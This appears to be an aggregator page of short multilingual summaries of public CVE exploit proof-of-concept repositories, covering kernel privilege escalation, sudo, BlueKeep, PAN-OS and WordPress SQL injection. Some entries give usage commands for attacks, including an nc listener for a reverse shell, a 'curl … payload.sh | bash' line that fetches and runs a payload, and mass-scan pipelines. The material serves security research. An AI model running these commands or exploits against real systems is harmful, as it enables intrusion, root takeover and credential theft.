POC-for-CVE-2023-41993

CVE-2023-41993 CVE-2023-41993용 PoC 익스플로잇입니다. addrof/fakeobj까지만 작성되어 있습니다. 신뢰성은 좋지 않습니다. 더 개선하고 싶다면 structure ID를 스프레이해 보세요. POC 링크 https://po6ix.github.io/POC-for-CVE-2023-41993/pwn.html 여러 요청이 있어서 github pages로 호스팅하기로 결정했습니다. github가 저를 차단하지 않길 바랍니다... 알려진 영향 받는 버전 MacOS 14.0 iOS 17.0, 17.1 beta...

CVE-2019-15107

CVE-2019-15107 CVE-2019-15107용 POC 교육 목적으로만 사용하십시오. 사용 방법: 머신에서 리스너를 엽니다 nc -lnvp perl 명령을 사용자 IP와 포트에 맞게 수정하세요. 스크립트를 실행하면 리스너에 리버스 셸이 열립니다. 파이썬 스크립트는 타임아웃이 발생할 것이며, 이는 정상입니다...

Dr.DLL-CVE-2018-18333

CVE Windows 攻撃 - CVE-2018-18333 前提条件 📋 名前| インストール方法 ---|--- metasploit| クリックしてインストール pythonv.X| apt install python 実行: Execute 🚬 root@kitploit: 1. $ sudo python Dr.Dll.py 2. 要求されたデータを入力してください Enter the requested data 3. Metasploit を起動する Start metasploit 任意 4. Happy Hacking :...

CVE-2022-34918-LPE-PoC

CVE-2022-34918 LPE PoC CVE-2022-34918 用 LPE エクスプロイト。 このエクスプロイトはカーネル Linux ubuntu 5.15.0-39-generic 向けに書かれています。 関連する解説記事は、私たちのブログでご覧いただけます。 使用方法 getroot はカレントフォルダにある必要があります root@kitploit: $ ls getroot poc $ ./poc...

CVE-2022-34918-LPE-PoC

CVE-2022-34918 LPE PoC CVE-2022-34918 用の LPE エクスプロイトです。 このエクスプロイトはカーネル Linux ubuntu 5.15.0-39-generic 向けに作成されています。 関連する解説記事は当社のブログでご覧いただけます。 使い方 getroot は現在のフォルダに配置してください。 root@kitploit: $ ls getroot poc $ ./poc...

cve-2021-22146

cve-2021-22146 内部ペンテスト中に、elastic ECE の脆弱性を発見しました。Elasticdump は、CVE-2021-22146 の PoC であり、elastic ece 7.10.0 から 7.13.3 のデータベースをダンプするためのものです。 https://www.exploit-db.com/exploits/50152 共同研究者: Mario Díaz Caldera。...

CVE-2021-3156

CVE-2021-3156 PoC 简介 这是针对 CVE-2021-3156 sudo 漏洞的漏洞利用代码（Qualys 称之为 Baron Samedit）。 用法 构建： root@kitploit: $ make 列出目标： root@kitploit: $ ./sudo-hax-me-a-sandwich 运行： root@kitploit: $ ./sudo-hax-me-a-sandwich 手动模式： root@kitploit: $ ./sudo-hax-me-a-sandwich 暴力搜索目标发现（实验性） 确保你已安装 GNU parallel。...

CVE-2012-2982

CVE-2012-2982 사용자 OstojaOfficial의 원본을 개선한 CVE-2012-2982 Webmin 1.580용 Python POC 이 스크립트는 원본 스크립트의 개선 버전으로, 사용자가 전체 스크립트를 살펴보지 않고도 데이터 입력 형식을 확인할 수 있도록 합니다. 이를 위해 해당 코드 섹션을 단순히 스크립트 시작 부분으로 이동했습니다: 동시에 스크립트가 계속 실행되는 것을 방지하기 위한 종료 명령어sys.exit1가 추가되었습니다. 또한 사용자가 익스플로잇을 호출할 때 Webmin 1.580 서비스가 실행 중인...

CVE-2024-1086

CVE-2024-1086 Prueba de concepto Proof-of-Concept universal de escalada de privilegios local para CVE-2024-1086, que funciona en la mayoría de los kernels de Linux entre v5.14 y v6.6, incluyendo Debian, Ubuntu y KernelCTF. La tasa de éxito es del 99.4% en las imágenes de KernelCTF...

CVE-2024-9474

Palo Alto PAN-OS 漏洞利用 PoC - CVE-2024-0012 与 CVE-2024-9474 此脚本是 Palo Alto PAN-OS 漏洞（CVE-2024-0012 与 CVE-2024-9474）的概念验证（PoC）利用程序。该脚本可用于扫描 URL 列表以检测漏洞，或以交互方式利用单个易受攻击的 URL。 功能特性 扫描模式：自动扫描多个 URL，检测漏洞。 利用模式：以交互方式利用单个 URL，允许用户执行任意命令。 并发支持：脚本支持多线程以加快扫描速度。 输出保存：结果保存到指定输出文件。 进度条：可自定义的进度条，用于跟踪扫描进度。 前置条件...

CVE-2020-13457

CVE-2020-13457 CVE-2020-13457 タイムライン ================ 2020-05-04: 発見 2020-05-11: 研究者の環境で問題を再テスト 2020-05-20: Windows 2012 x64 で PoC エクスプロイトをテスト 2020-05-25: ベンダーへの通知 2020-05-27: Windows 10 x64 で PoC エクスプロイトをテスト 2020-06-01: ベンダーのフィードバック/修正を待っています... 作者 Alex Hernandez 別名 @alt3kx...

CVE-2023-23397-POC-Using-Interop-Outlook

CVE-2023-23397-POC-Using-Interop-Outlook Microsoft.Office.Interop.Outlook を使用した CVE-2023-23397 エクスプロイト POC の簡単な実装...

Remote-Code-Execution-RCE-Exploit-BlueKeep-CVE-2019-0708-PoC

BlueKeep 익스플로잇 설명 이 저장소는 Windows 시스템에서 RDP 프로토콜을 통해 원격 코드 실행을 가능하게 하는 BlueKeep 취약점CVE-2019-0708에 대한 PoCProof-of-Concept 익스플로잇을 포함합니다. 디렉터리 구조 /python : Python으로 작성된 BlueKeep PoC 익스플로잇. /java : Java로 작성된 BlueKeep PoC 익스플로잇. /cpp : C++로 작성된 BlueKeep PoC 익스플로잇. /ruby : Ruby로 작성된 BlueKeep PoC 익스플로잇...

CVE-2023-24078

説明 このスクリプトは、私がCVE-2023-24078のために開発した概念実証（PoC）エクスプロイトです。公開されているPoCが機能せず、トラブルシューティングにフラストレーションを感じたため、独自のスクリプトを作成しました。 使用方法 root@kitploit: usage: python3 CVE-2023-24078.py -h -lh LHOST -lp LPORT -th RHOST -tp RPORT A PoC script for exploiting CVE-2023-24078. Required arguments: -lh LHOST, --lhost...

CVE-2017-16997-poc

用法 运行 ./CVE-2017-16997.sh 。 如果以非root用户运行，请确保可以通过sudo提升到root权限。 详情 1. https://nvd.nist.gov/vuln/detail/CVE-2017-16997...

CVE-2022-0169

CVE-2022-0169 — WordPress Photo Gallery SQLi PoC 이것은 WordPress Photo Gallery 플러그인의 SQL 인젝션 취약점인 CVE-2022-0169 에 대한 간단한 Python 개념 증명PoC입니다. 기능 WordPress 버전 확인 가능한 경우 취약한 admin-ajax.php 엔드포인트 공격 wpusers 사용자 이름과 비밀번호 해시 덤프 타임스탬프 폴더에 결과 저장 원하면 hashcat으로 크랙하도록 안내 이 도구는 교육 목적으로만 사용됩니다. 책임감 있게 사용하세요! 마치...

CVE-Exploit

트위터: @0xAbbarhSF 1、CVE-2020-2551 CVE-2020-2551 poc exploit 파이썬 예제 키: GIOP corba 사용 방법 root@kitploit: python3 CVE-2020-2551.py -u http://192.168.26.79:7001 cat urls.txt|sort -u|xargs -I % python3 CVE-2020-2551.py -u % cat xxx.html|grep -Eo 'https?://^ /+'|sort -u|xargs -I % python3...

CVE-2020-16898

이것은 교육적 연습입니다. 사용에 따른 책임은 본인에게 있습니다. CVE-2020-16898 익스플로잇 Windows 바이너리 PoC root@kitploit: ./CVE-2020-16898.exe -t -u will run the exploit. ./CVE-2020-16898.exe -t 10.10.10.1 -u Administrator 다른 익스플로잇 보기 인터넷에서 바이너리를 신뢰해서는 안 되는 이유에 대한 교훈입니다...

CVE-2024-24919-POC

CVE-2024-24919 PoC 🚀 🔥 설명 이 스크립트는 CVE-2024-24919 Checkpoint Security Gateway 무단 정보 공개 취약점의 익스플로잇을 자동화합니다. 📌 기능 ✅ 단일 및 대량 URL 테스트 ✅ 자동화된 익스플로잇 ✅ 간단하고 빠름 🛠️ 사용 방법 이 저장소를 클론하고 스크립트를 실행하세요: root@kitploit: git clone https://github.com/spider00009/CVE-2024-24919-POC.git cd CVE-2024-24919-POC python...

CVE-2024-32019-poc

CVE-2024-32019-poc Netdata ndsudo PoC 바이너리 빌드: root@kitploit: go build -ldflags "-s -w" -o nvme poc.go upx nvme bash 스크립트 실행: root@kitploit: bash exploit.sh 대상 머신에서 쓰기 가능한 디렉토리에서 실행: root@kitploit: curl http://:8000/payload.sh | bash 자동으로 nvme 바이너리를 다운로드하고, 경로를 설정하고, ndsudo를 실행한 후 /bin/bash에 SUID...